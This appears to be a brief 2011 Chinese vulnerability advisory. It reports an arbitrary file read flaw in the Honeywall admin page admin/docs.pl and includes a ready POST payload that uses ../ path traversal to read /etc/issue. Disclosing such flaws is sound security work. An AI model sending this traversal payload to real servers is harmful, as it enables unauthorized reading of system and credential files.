Honeywall后台管理界面存在任意文件读取漏洞

发布日期：2011-04.19
发布作者：cnyouker

漏洞类型：任意文件遍历/下载
漏洞描述：Honeywall后台管理界面存在任意文件读取漏洞

admin/docs.pl 对于 POST的file检查不严。可以自己构造post包来读取任意文件。

http://xxx.xxx.xxx/admin/docs.pl
POST-content:
act=16&file=../../../../../../../../etc/issue&submit=Submit

标签分类：